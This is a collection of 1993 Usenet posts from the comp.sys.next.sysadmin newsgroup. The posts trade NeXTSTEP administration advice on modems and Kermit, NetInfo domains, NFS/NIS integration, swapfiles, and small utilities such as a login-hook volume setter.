Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon) Subject: Re: A NOVICE SEEKS ADVICE... Message-ID: <1993Jun5.032313.7603@holli.uucp> Sender: me@holli.uucp (My Account) Organization: TYBRIN Corporation -- Huntsville, AL References: <1993Jun2.082525.16192@enea.se> Date: Sat, 5 Jun 1993 03:23:13 GMT In article <1993Jun2.082525.16192@enea.se> mihe@gordon.enea.se (Mike Henry) writes: > In article <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes: > >Well, in Unix, the thing to put in your .cshrc is umask. My umask is > >set at 022, which causes all files created in csh to be owner xwr > >only. The thing of it is, I don't know if the .cshrc affects NS. For > >that matter, does umask affect NS? > > > > === Al Sparks > Also, be sure that your Edit.app preferences is the way you want it. It can toggle between save or don't save files as being writable. See Info->Preferences->Global Options in the manual for more info. Trey -- Trey McClendon, Madison, AL
Newsgroups: comp.sys.next.sysadmin From: glen@netcom.com (Steven Kornreich) Subject: UUCP NS/FIP Message-ID: <glenC85nx3.EnF@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Sat, 5 Jun 1993 15:48:39 GMT I am triing to setup UUCP on NS/FIP and I am getting an error message "CANT OPEN cua" which is the port I have my modem connected to. I can "tip" my modem fine. Any ideas??? Thanks glen
Newsgroups: comp.sys.next.sysadmin From: lange@lanai.cs.ucla.edu (Trent Lange) Subject: Setting Kermit for ZyXEL Message-ID: <1993Jun5.220408.13266@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Date: Sat, 5 Jun 93 22:04:08 GMT I've just gotten a ZyXEL U-1496E, which works great through communicae.app. The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement. However, I'm having problems getting it to work with kermit. Here is the setup I tried using for kermit with it (changing only the speed from the setup that worked with my old Multitech 9600 baud modem): set line /dev/cua set speed 19200 set modem hayes dial <X> It dials out, and then returns: Failed ("RINGING") It also did this at speed 9600, and also before and after I updated /etc/ttys, /etc/gettytab, and /etc/remote for 19200 (even though I wasn't sure whether one needs to change these for kermit). Has anybody got their ZyXEL working with kermit? If so, what did you do differently to get it to work? Thanks, - Trent Lange
From: dan@quiensabe.az.stratus.com (Dan Danz) Newsgroups: comp.sys.next.sysadmin Subject: WARNING: Re: autonfsmount dies / SLIP problem Date: 6 Jun 1993 00:39:15 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <1urebj$hlm@transfer.stratus.com> References: <1993Jun3.203023.3465@musical.fdn.org> Sam Przyswa writes > In article <36706@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch) > writes: > > > > You have to load your host name/IP address into the netinfo database. The > > info in /etc/hosts isn't used when netinfo is running -- it's stored in > > the netinfo database. To update it, you first need to find out whats > > in it. You can do this by typing: > > > > nidump hosts . > tmp_hosts > > > > This saves the netinfo host data into the file tmp_hosts (which is in > > the same format as /etc/hosts. > > > > Add you host and IP address to tmp_hosts, then type: > > > > niload hosts . < tmp_hosts > > > > You can also add the host using the NetinfoManager App if you now how > > to use that. > > > Thanks for your reply, I try that... > You should beware that nidump/niload to reload the /machines directory of a netinfo database COULD BE VERY DANGEROUS. There are a number of "properties" that are recorded for systems, especially the "serves" property for the local host, that are NOT handled by nidump/niload especially if the -d option is used for niload. These two programs are meant for going back and forth to non-NeXT systems, not for administering NeXT systems themselves. To administer things on the NeXT systems, use the GUI apps that are provided; specifically, NetinfoManager, and you'll see all of the properties. If you just **HAVE TO** use the shell tools, learn to use niutil. When I first started messing with NeXTs, the niutil way seemed the hard way, but not after I learned my lesson the hard way. Maybe I can spare you and others the agony of rebuilding a netinfo database. -- L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com Sr Consulting Software SE NeXT Mail: dan@az.stratus.com Customer Assistance Center Voice Mail/Pager: (602) 852-3107 Telecommunications Division Customer Service: (800) 828-8513 Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: How do you execute a program from your .plan file? Message-ID: <1993Jun6.004826.26470@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <9306050045.AA23741@gaul.csd.uwo.ca> <1993Jun5.065405.19609@csus.edu> Date: Sun, 6 Jun 1993 00:48:26 GMT Sigh. It's been pointed out that my "example" won't terminate if a signal is received while servicing a request. Is this good enough, or are you going to insist I use setjmp()? :-) -=EPS=- ------- *** liveplan.c~ --- liveplan.c *************** *** 10,15 **** --- 10,17 ---- /* cc -o liveplan -object -s -O -bsd liveplan.c */ + volatile int ok=1; + main(argc, argv) int argc; char *argv[]; *************** *** 57,63 **** (void)ioctl(s, TIOCNOTTY, (char *)NULL); (void)close(s); } ! for (;;) { s=open(argv[1], O_WRONLY, 0); if (s<0) { if (errno==EINTR) break; --- 59,65 ---- (void)ioctl(s, TIOCNOTTY, (char *)NULL); (void)close(s); } ! do { s=open(argv[1], O_WRONLY, 0); if (s<0) { if (errno==EINTR) break; *************** *** 70,76 **** (void)writev(s, iov, sizeof iov/sizeof iov[0]); (void)close(s); (void)sleep(2); ! } (void)unlink(argv[1]); if (argc>2) (void)rename(argv[2], argv[1]); _exit(0); --- 72,78 ---- (void)writev(s, iov, sizeof iov/sizeof iov[0]); (void)close(s); (void)sleep(2); ! } while (ok); (void)unlink(argv[1]); if (argc>2) (void)rename(argv[2], argv[1]); _exit(0); *************** *** 79,82 **** --- 81,85 ---- void handler(sig) int sig; { + ok=0; }
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Setting up NeXT's in a Sun network Date: 6 Jun 1993 07:55:33 -0500 Organization: University of Illinois at Urbana Message-ID: <1uspgj$cf8@ux1.cso.uiuc.edu> References: <1993Jun3.150019.1069@afs.com> jon@afs.com writes: >I have a question. At my school we have a network of Sun workstations. When you >log into the Suns, your home directory is on the server, and it gets the login >information from the server. >What would I have to do to get a NeXT to behave the same way on this network? >In other words, what is required to make the next get login information from >the Sun server? Talk to your Sun admin and tell them that you have a machine you want to add that supports NIS and NFS. Add a + to your /etc/passwd file (at the end), and the rest - act like it's a Sun except for adding the mounts in Netinfo's /mounts directory. If they use an automounter, it could be a bit trickier, but the NeXT automounter acts very much like the Un's. (except that its accounting info is in netinfo) In any event, this is all documented very well in the chapter on integrating into a heterogeneous environment in the N&SA manual. -- David Lemson (217) 244-1205 University of Illinois Computing & Comm Services Office System Administrator Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: juan@apple.com (Juan Pineda) Subject: Help! NeXT hangs when using AppleTalk with NS3.0 Message-ID: <1993Jun6.121307.478@logician.com> Sender: juan@logician.com Organization: logician.com Date: Sun, 6 Jun 1993 12:13:07 GMT Help! My NeXT Cube hangs frequently when I try to copy files over AppleTalk to my Mac IIFX. The hang is so severe that the Cube won't respond to the halt command after a command-command-tilde. The only solution is to take the system down to the monitor and reboot. My NeXT is running NS3.0 and my FX is running system 7.0.1. The FX has a standard Apple manufactured Ethernet card. Are other users of Apple Talk seeing the same problem? Is there any way to make it work better? Any help would be greatly appreciated. Juan
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: How do you execute a program from your .plan file? In-Reply-To: eps@futon.SFSU.EDU's message of Sun, 6 Jun 1993 00:48:26 GMT Message-ID: <CEDMAN.93Jun6105313@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Fcc: nextmail Organization: Princeton University References: <9306050045.AA23741@gaul.csd.uwo.ca> <1993Jun5.065405.19609@csus.edu> <1993Jun6.004826.26470@csus.edu> Date: Sun, 6 Jun 1993 15:53:13 GMT In article <1993Jun6.004826.26470@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: Sigh. It's been pointed out that my "example" won't terminate if a signal is received while servicing a request. Is this good enough, or are you going to insist I use setjmp()? :-) No, really you should use the new finger/fingerd available from nova.cc.purdue.edu. From the README file: "This solution for the same problem has at least three advantages over the commonly used one of named pipes. a) Named pipes require a constantly running daemon process b) This solution also works if the home directories are NFS mounted c) NeXT doesn't support named pipes. [At least under 2.x]" Carl Edman
Newsgroups: comp.sys.next.sysadmin From: root@gbo.cern.ch (Operator) Subject: Re: Using the internal for swapfile Message-ID: <1993Jun6.163042.2121@dxcern.cern.ch> Sender: news@dxcern.cern.ch (USENET News System) Organization: CERN European Lab for Particle Physics References: <1993May28.225957.4950@leland.Stanford.EDU> Date: Sun, 6 Jun 1993 16:30:42 GMT In article <1993May28.225957.4950@leland.Stanford.EDU> spagiola@frinext.stanford.edu (Stefano Pagiola) writes: > I now have a large external and am using that as a boot disk. I want > to use the internal for the swapfile. Is it correct that I should > mount it at /private/vm/swapfile? > > Ciao, Stefano > -- > - > Stefano Pagiola > Food Research Institute, Stanford University > spagiola@frinext.stanford.edu (NeXTMail encouraged) > spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged) I have exactly the same situation. I enlarged the swapfile system by replacing the single line in the original swaptab file with the 2 lines: /Next_2.1/private/vm/swapfile lowat=5024288,hiwat=41943040,prefer /private/vm/swapfile lowat=524288,hiwat=5024288 i.e: the preferred swapdisk is the internal one and is labeled Next_2.1; the swapfile is 5 MBytes minimum, 40 Mbytes Maximum. The second swapdisk is the internal one; it has a small swapfile: 0.5 Mbytes minimum, 5 Mbytes maximum. I also modified the fstab file, which now contains the lines /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /Next_2.1 4.3 rw,noquota 0 2 The new swapping system works much better now. But still, expecially with graphic-intensive application, sometimes it gets full, bringing the machine to a freeze. This is a well known infamous feature. Shame to NeXT. Let's hope it will be fixed in Version 3.1. Gian Franco Non-NeXT mail: gfranc@dxcern.cern.ch
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: How can you make the clock chime? Message-ID: <1993Jun5.190050.1520@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU> Date: Sat, 5 Jun 1993 19:00:50 GMT In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU> gregory@brigham-circle.mit.edu (Greg Howland) writes: > Is there a way to make the system clock chime or beep on the hour? > Get Dimmer.app from the ftp-servers. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin Subject: Compile problems under Project Builder Message-ID: <1993Jun06.214333.18772@rat.csc.calpoly.edu> From: mrothste@foraker.csc.calpoly.edu (Mont Rothstein) Date: Sun, 06 Jun 93 21:43:33 GMT Organization: Cal Poly, SLO Project Builder is doing some wierd stuff. It will sometimes compile everytime even though source files haven't changed and other times it won't compile even when source files have changed. Someone suggest that it had to do with being on network time but we took it off and it still was screwy. Does anyone have any ideas as to why this is happening? Thanks, -Mont NeXTmail OK :-) President CP-NUG (Cal Poly NeXT User Group, SLO) mrothste@data.acs.calpoly.edu
Newsgroups: comp.sys.next.sysadmin From: gday@ignatz.inde.bc.ca (Gordon Day) Subject: Re: How do you execute a program from your .plan file? In-Reply-To: Gregory W. Gee's message of Sat, 5 Jun 1993 00:45:38 GMT Message-ID: <GDAY.93Jun4205836@ignatz.inde.bc.ca> Sender: news@inde.bc.ca Organization: INDE Electronics, Inc. References: <9306050045.AA23741@gaul.csd.uwo.ca> Date: Sat, 5 Jun 1993 04:58:36 GMT >>>"gregory" == Gregory W. Gee <gee@gaul.csd.uwo.ca> writes: gregory> Subject is self explanitory. Easy. Just put the name of the program you want to run as the first line of the file, "exit 0" on the second line, and type "source .plan" (in a csh, using sh is left as an exercise to the reader) :-). If what you're asking is, "Can you get the finger daemon to run a command whose name is stored in a user's .plan file when you finger that user?", then the answer is no. gregory> Thanks. You're welcome. Gordon.
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.stanford.edu (Matt Rollefson) Subject: Re: puh-lease help -- NetInfo domain problems Message-ID: <1993Jun7.025252.10487@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <C82oo5.KCD@knot.ccs.queensu.ca> Date: Mon, 7 Jun 93 02:52:52 GMT In comp.sys.next.sysadmin dale@hecate.phy.queensu.ca (Dale Swanston) writes: >This is where the problems with NetInfo come in. I have basically 3 >domains (NetInfo domains) there's: / , /A , /B . On machine B (the >mail server) I can view all three domains with the NetInfo Manager. But >on machine A (the NetInfo server - supposedly) I can only view : / and >/A. This is bad considering that the NetInfo server cannot see a domain >it should serve. I get an error that says 'Domain selected failed to >open' when I try to open /B. Read the chapter on setting up multiple domains in the System Administrator Manual. It does a very thorough job of explaining just how netinfo domains bind, etc. I found it extremely useful. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: kent@infoserv.com Subject: Re: Setting Kermit for ZyXEL Message-ID: <C87p6z.3Ho@infoserv.com> Sender: kent@infoserv.com (Kent L. Shephard) Organization: K. L. Shephard Consulting References: <1993Jun5.220408.13266@cs.ucla.edu> Distribution: na Date: Sun, 6 Jun 1993 18:11:23 GMT In article <1993Jun5.220408.13266@cs.ucla.edu> lange@lanai.cs.ucla.edu (Trent Lange) writes: #I've just gotten a ZyXEL U-1496E, which works great through communicae.app. #The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement. #However, I'm having problems getting it to work with kermit. Here is the #setup I tried using for kermit with it (changing only the speed from the #setup that worked with my old Multitech 9600 baud modem): # #set line /dev/cua #set speed 19200 #set modem hayes #dial <X> try using cufa ( flow control) # #It dials out, and then returns: #Failed ("RINGING") # #It also did this at speed 9600, and also before and after I updated #/etc/ttys, /etc/gettytab, and /etc/remote for 19200 (even though I wasn't #sure whether one needs to change these for kermit). # #Has anybody got their ZyXEL working with kermit? If so, what did you do #differently to get it to work? I set my modem to NeXT connection to 38400 and let the ZyXel negotiate the data speed with the other modem. Other than that I use cufb because I have a midi device connected to serial port A. Here is a copy of my .kermrc ----------------------------------------------------------------------------- set line /dev/cufb set modem hayes set speed 38400 set parity none set terminal bytesize 8 set flow-control rts/cts set file type binary set file name literal set send packet-length 9024 set receive packet-length 9024 set block 1 set transfer locking-shift off set escape-character 28 set buffers 128000 128000 set window 8 ----------------------------------------------------------------------------- I have no problems with this setup and the ZyXEL negotiates the connection to the other modem. Kent -- /* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */ /* Please direct mail to kent@infoserv.com other adresses may not work. */
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: How do you execute a program from your .plan file? In-Reply-To: gday@ignatz.inde.bc.ca's message of Sat, 5 Jun 1993 04:58:36 GMT To: gday@ignatz.inde.bc.ca (Gordon Day) Message-ID: <CEDMAN.93Jun7082714@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Fcc: nextmail Organization: Princeton University References: <9306050045.AA23741@gaul.csd.uwo.ca> <GDAY.93Jun4205836@ignatz.inde.bc.ca> Date: Mon, 7 Jun 1993 13:27:14 GMT In article <GDAY.93Jun4205836@ignatz.inde.bc.ca> gday@ignatz.inde.bc.ca (Gordon Day) writes: >>>"gregory" == Gregory W. Gee <gee@gaul.csd.uwo.ca> writes: gregory> Subject is self explanitory. Easy. Just put the name of the program you want to run as the first line of the file, "exit 0" on the second line, and type "source .plan" (in a csh, using sh is left as an exercise to the reader) :-). If what you're asking is, "Can you get the finger daemon to run a command whose name is stored in a user's .plan file when you finger that user?", then the answer is no. Then of course that is exactly what the finger/fingerd from nova.cc.purdue.edu do. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: sapp@sawdust.ssc.gov (Kevin Sapp) Subject: HELP Disk Dead Message-ID: <1993Jun7.134150.19029@sunova.ssc.gov> Keywords: Disk Sender: sapp@sawdust (Kevin Sapp) Organization: Superconducting Super Collider Laboratory Date: Mon, 7 Jun 1993 13:41:50 GMT Hi, I posted an article about a week ago about a bad block on my disk (660M Seagate). The problem was extremely persistant and growing. The busy prompt would sometimes take MINUTES to go away. I tried to fix it with fsck, with no luck. The performance was so bad (after I got most of my files off) that I tried to reformat the disk with sdform. This failed (even after a couple of tries). Any suggestions would be greatly appreciated. Please respond by email (sapp@sawdust.ssc.gov) Kevin -- ---------------------------------------------------------------------------- Kevin A. Sapp "A civilization depends upon the quality Superconducting Super Collider of individual it creates" (Dune) sapp@sawdust.ssc.gov :>( please NO NeXT mail
Newsgroups: comp.sys.next.sysadmin Subject: Re: Setting up NeXT's in a Sun network Message-ID: <1993Jun7.124725.12188@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 7 Jun 1993 12:47:25 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1uspgj$cf8@ux1.cso.uiuc.edu> Organization: Institut fuer Informatik In article <1uspgj$cf8@ux1.cso.uiuc.edu> writes: > jon@afs.com writes: > > > >I have a question. At my school we have a network of Sun workstations. When you > >log into the Suns, your home directory is on the server, and it gets the login > >information from the server. > > >What would I have to do to get a NeXT to behave the same way on this network? > >In other words, what is required to make the next get login information from > >the Sun server? > > Talk to your Sun admin and tell them that you have a machine you > want to add that supports NIS and NFS. Add a + to your /etc/passwd Ahem, making changes to /etc/passwd (and many others) while NetInfo is running WON'T impress the machine a bit. You'll have to niload the passwd file to let the chages take effect. > file (at the end), and the rest - act like it's a Sun except for > adding the mounts in Netinfo's /mounts directory. If they use an > automounter, it could be a bit trickier, but the NeXT automounter > acts very much like the Un's. (except that its accounting info is > in netinfo) > > In any event, this is all documented very well in the chapter on > integrating into a heterogeneous environment in the N&SA manual. That it is! -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin Subject: Re: Stupid and foolish move from Informix Message-ID: <1993Jun7.125104.12266@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 7 Jun 1993 12:51:04 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Jun3.172043.16926@CAM.ORG!planon> Organization: Institut fuer Informatik In article <1993Jun3.172043.16926@CAM.ORG!planon> writes: > We are developer on NeXTstep OS. In the past couple of year we have > developed an application for automation in the television industry. > > We have used Informix-SE and Informix ESQL-C for doing our > development. Those product have been available for NeXTstep on NeXT > hardware since a year. > > Informix is not the database of choice on NeXTstep for many reasons: > [munched explanations] > > A very frustrated former Informix developer. > > Stephane Savard > Director R&D > Planon Telexpertise Inc. > 1370 Joliot-Curie #708 > Boucherville, Quebec > Canada, J4B 7L9 > Email: stephane@planon.qc.ca (NeXTmail accepted and appreciated!) > > -- > Yanik Crepeau > Programmer > Planon Telexpertise > E-Mail: yanik@planon.qc.ca (NeXT) If you think that is frustrating, then what should I think? I had deveoped some software based on Progress (also an rdb) on a Motorola MPC100 and now moved to NeXT. No chance at all. Progress just comments: NeXT has 'died' and shows no interest at all! -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
From: matthews@is-next.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: SunOS/Solaris NFS mounted drives - BUG? Date: 8 Jun 1993 00:45:16 GMT Organization: Los Alamos National Laboratory, NM Message-ID: <1v0nes$ipt@umd5.umd.edu> References: <1993May27.201738.3213@linus.mitre.org> <1u9q2l$738@ux1.cso.uiuc.edu> In article <1u9q2l$738@ux1.cso.uiuc.edu> lemson@uiuc.edu writes: >The one I have seen is that when a Sun disk is nfs mounted onto >a NeXT machine in 2.x, 'touch'ing a 0 byte file on that remote >disk on the NeXT doesn't actually change the date. As far as I >know, this was fixed in 3.0. Nope, this was definitely not fixed in 3.0. 3.1 maybe, I keep forgetting to verify it. The problem is also a bug in Sun's kernel; the NeXT does the wrong thing, the Sun doesn't handle it right. There is a patch for Solaris 2.1 (I forget which one, but I think it's 100947-02) which was for Ultrix clients, but they do the same thing. You can also patch the 3.0 kernel, but doing so is inherently dangerous and won't do you much good once you go to 3.1. Patching the Sun is easier. >David Lemson ------ Mike Matthews, matthews@ectds.com (NeXTmail accepted) ------ "We can't schedule an orgy, it might be construed as fighting" --Stanley Sutton
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Simple Auto-Volume setter... Message-ID: <1993Jun08.005245.165416@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo Date: Tue, 08 Jun 1993 00:52:45 GMT I got fed up with the "new have new mail" suddenly blaring out from the speaker, as well as finding out 10 minutes later that someone tried to talk me, but I didn't get any beeps because Mute was left on by the last user. *SO* I wrote this simple little program to pre-set the volume everytime you login on console. /* PreSetVolume.m - kwang@data.acs.calpoly.edu ** Start date: 06/07/93 ** Finish date: 06/07/93 ** Version? you gotta be kidding! Well okay, version 1.0 ** ** This program is meant to be in the LoginHook and LogoutHook scripts ** to pre-set the volume to: ** 1: no mute & ** 2: whatever the user's Preferences say ** run the program in the Login/LogoutHook scripts as: ** PreSetVolume $1 ** ** Compile notes: ** compile the program as: ** cc PreSetVolume.m -lMedia_s -lNeXT_s ** else it won't find the Sound object ** ** If you don't know how to SET the Login & LogoutHooks, you... ** 1: su to root ** 2: dwrite loginwindow LoginHook /usr/local/bin/LoginHook.sh ** 3: dwrite loginwindow LogoutHook /usr/local/bin/LogoutHook.sh ** 4: from each of the login panels, type "exit" as a user. ** this last will restart the loginwindow program, loading the defaults ** as per above. The Login/LogoutHook.sh names are strictly a recommendation. ** ** the Login/LogoutHook programs run as root, just fyi. */ #import <stdio.h> #import <defaults/defaults.h> #import <objc/Object.h> #import <soundkit/Sound.h> #import <libc.h> #define NOMUTE 0 #define MUTE 1 main(int argc, char *argv[]) { float vol; const char *str; if (argc != 2) { printf("%s <username>\n", argv[0]); puts("Must be run as root."); exit(1); } if (0 != getuid()) { fprintf(stderr, "Not root. exiting\n"); exit(1); } /* set to user's NXdefaults file, a must for the NXReadDefault */ NXSetDefaultsUser(argv[1]); /* clear mute */ [Sound setMute: NOMUTE]; /* set volume */ /* get default set by Preferences */ /* command-line equivalent is: dread -o NeXT1 | grep Volume */ /* however, the value is 30..0 where 0 is max and 30 is bottom */ str=NXReadDefault("NeXT1", "Volume"); if (NULL == str) { /* if we couldn't read the defaults set to something reasonable */ vol=0.75; } else { /* else use the user's defaults */ vol=((float)(30-atoi(str)))/30.0; } [Sound setVolume: vol: vol]; exit(0); } my sample LoginHook also looks ohsomething like this: #!/bin/sh exec /usr/local/bin/LoginHook.sh $@ 1>/tmp/Login 2>&1 where LoginHook.sh is: #!/bin/sh PATH=/bin:/usr/bin:/usr/local/bin echo "LoginHook:" /usr/local/bin/PreSetVolume $1 if /usr/local/etc/accounts/isfrozen $1 then # next program: pop up an alert panel saying "You are frozen" /usr/bin/sndplay /usr/local/freeze/YouAreFrozen.snd echo "Frozen sucker" exit 1 fi exit 0 Have fun... - Kevin Wang
From: cm601@cleveland.Freenet.Edu (Bradley Alexander Derrick) Newsgroups: comp.sys.next.sysadmin Subject: NeXT for INTEL.. Date: 8 Jun 1993 01:32:08 GMT Organization: Case Western Reserve University, Cleveland, OH (USA) Message-ID: <1v0q6o$cc5@usenet.INS.CWRU.Edu> I've been currently looking at investing in NeXTstep for Intel, and I plan on buying a '486/33MHz, with a Vesa Local Bus card, and adding JAWS(for the graphics card), next I will need a monitor, so I'll probably be gettinng a 21" ViewSonic. I want to start developing on NeXT, so my main questions are A] Do I need a better machine? B] What size HD do I need? C] Should I invest in a EtherNet card even though the comp will be at home? -- +------------------+--------------------------+ | Bradley Derrick | Titan Technologies(c) | +------------------+--------------------------+
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Re: puh-lease help -- NetInfo domain problems Message-ID: <1993Jun08.013117.178267@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo References: <C82oo5.KCD@knot.ccs.queensu.ca> Date: Tue, 08 Jun 1993 01:31:17 GMT In article <C82oo5.KCD@knot.ccs.queensu.ca> dale@hecate.phy.queensu.ca (Dale Swanston) writes: > > Help, I'm starting to lose my mind. > > Here's my sad story. I was asked to set up two Nexts. My boss wanted his > machine (machine A) to be the NetInfo server but not the mail server. So > my machine (machine B) was manually setup as the mail server. Well > needless to say an amateur (me) botched the job. I have mail access but > mail forwarded from my machine to the boss' doesn't recognize any users on > that machine. > > This is where the problems with NetInfo come in. I have basically 3 > domains (NetInfo domains) there's: / , /A , /B . On machine B (the > mail server) I can view all three domains with the NetInfo Manager. But > on machine A (the NetInfo server - supposedly) I can only view : / and > /A. This is bad considering that the NetInfo server cannot see a domain > it should serve. I get an error that says 'Domain selected failed to > open' when I try to open /B. > > Is there any obvious reason why the NetInfo server wouldn't be able to > open one of its domains? (Like preferences along the lines of Public > Window Server etc). And is there a reason why the user accounts on the > NetInfo server function properly in every other aspect except when having > mail sent to them. > > [I have another problem that I think is all related to this. The > Addresses panel in the Mail Compose window does not hold the Users on the > system. I would have expected that at least the users on a local machine > would be in that panel. Even with updating the mail database with the > 'mailDBupdate' command they do not appear. Is there anyway to look in > this mail database to see what the heck is going on?] > > Any help would be greatly appreciated. I'm a desparate man. I'll supply > more information if anyone has any ideas. You should read the NextAdmin manual chapter 10 where they explain how to create a new domain Well, since your machines are at least booting, the nidb's seem to be talking to each other. From NetInfoManager, you can open /, /A, and /B from B, but from A you only see / and /A. check your serves fields. / it should have: /machines/A/serves = ./network # this machine now has the / domain /machines/A/serves = A/local # point up at machine A /machines/B/serves = B/local # point up at machine B on the local machines, your serves fields should b: on both A and B: /machine/broadcasthost/serves = ../network # point down to root /machine/localhost/serves = ./local # point to self So, each of the three databases point at each other with double links. *YOU MUST BE ABSOLUTELY CAREFUL WITH THE SERVES FIELDS* If even ONE of the pointers is missing or incorrect, that portion of the NIDomain tree will "disappear" Next, check to see what kind of security you've put in. The first one that comes to mind is the trusted_networks field. It can be found by double clicking on the / portion of each database. You will recognize this database directory because it *MUST* have the "master" field (tells the database what machine it's supposed to be on) If "trusted_networks" isn't even there, then you shouldn't have any problems, just security holes (see NextAdmin, chapter 14 regarding NetInfo security, search on trusted_networks") trusted_networks *MUST* have a value if it exists, or else it will not let anyone else (netinfo) talk to that database. The value values would be something like 129.65.100 where 129.65.100.1 and 129.65.100.2 are the two machines on that network (and the netmask is ff.ff.ff.0) If neither of these are the problems, email me directly, and I'll what more you need. - kevin Wang
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: elm...where to get a NeXT version? (black hardware, NS3.0) Message-ID: <1993Jun08.014645.182717@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo Date: Tue, 08 Jun 1993 01:46:45 GMT I've been hassling with elm, and I'm getting fed up with it. anyone have a procedure as to how to compile elm? - kevin
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: Re: Can you make a dynamic sumbolic link to $HOME? Message-ID: <68279@mimsy.umd.edu> Date: 8 Jun 93 02:29:52 GMT References: <1993Jun7.173839.20829@linus.mitre.org> Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 In article <1993Jun7.173839.20829@linus.mitre.org> jblue@mitre.org (Jason D. Blue) writes: > I want to create a link that will point to a user's home directory. But > the link needs to point to a different location for each user that > accesses it. I.e. a link to $HOME, but where $HOME is not interpreted > until a user tries to access the link > Is this possible? I don't know of a straightforward way to do this in vanilla BSD, but as a historical note - this is one of the cool things you could do in Apollo's Domain OS. A symbolic link could include a symbol reference like /xxx/yyy/$(blah)/zzz where $blah was evaluated when the link was traversed. for the most part, it made some admin tasks very simple, though it could be abused. Domain OS had/has some problems (horrible GUI for example) but some nice innovations as well (very decent network file system, and typed file system). The latter could be a pain, but allowed some really neat CM ideas in Apollo DSEE. CM files could be read transparently by any program without any need for checking out a read only copy for viewing, printing, compiling etc. Lets hope NEXT doesnt go the way of Apollo. There are similarities though, Both had gold plated headquarters and both depended on HP to an extent for their salvation. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
